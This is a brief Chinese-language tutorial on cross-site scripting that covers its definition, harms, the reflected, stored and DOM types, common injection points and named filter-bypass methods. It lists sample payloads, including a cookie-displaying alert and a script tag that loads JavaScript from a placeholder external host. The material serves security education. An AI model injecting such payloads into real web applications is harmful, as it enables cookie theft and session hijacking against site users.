XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是攻击者往Web页面或者URL里插入恶意JavaScript脚本代码,如果Web应用程序对于用户输入的内容没有过滤,那么当正常用户浏览该网页的时候,嵌入在Web页面里的恶意JavaScript脚本代码会被执行,从而达到恶意攻击正常用户的目的。
一、XSS漏洞出现的两个条件
1、可能控制的输入点
2、输入能返回到前端页面上被浏览器当成脚本语言解释执行
二、XSS危害
- cookie窃取
- 会话劫取
- 键盘记录
- 客户端信息探查
- 网页挂马
- XSS蠕虫
三、XSS漏洞分类
1)反射型XSS:
反射型XSS,又称非持久型XSS。也就是攻击相对于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本。
2)存储型XSS:
储存型XSS,也就是持久型XSS。攻击者上传的包含恶意js脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含了该恶意js脚本,这样会导致所有访问该网页的浏览器解析执行该恶意js脚本。这种攻击类型一般常见在博客、论坛等网站中。
3)DOM型XSS:
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
最常用的xss漏洞测试代码:
<script>alert(/xxx/)</script>
四、XSS攻击载荷
< script >标签是最直接也是最常见的XSS有效载荷。
<script>alert("xxx")</script> #弹出xxx
<script>alert(/xxx/)</script> #弹出xxx
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
五、XSS漏洞常见点
- URL的每一个参数或本身
- 表单
- 搜索框等
例如:当前目录URL、搜索框、留言区、评论区、订单信息、图片属性等地方。
六、xss绕过过滤方法:
- 转义字符串
- 绕过单引号过滤
- 绕过< script>过滤
- 使用制表符,换行符和回车符
- 使用空字符
- 使用双引号
- 转义字符
- 编码
这些都是我个人简单整理出来的,更加详细的可以去看原文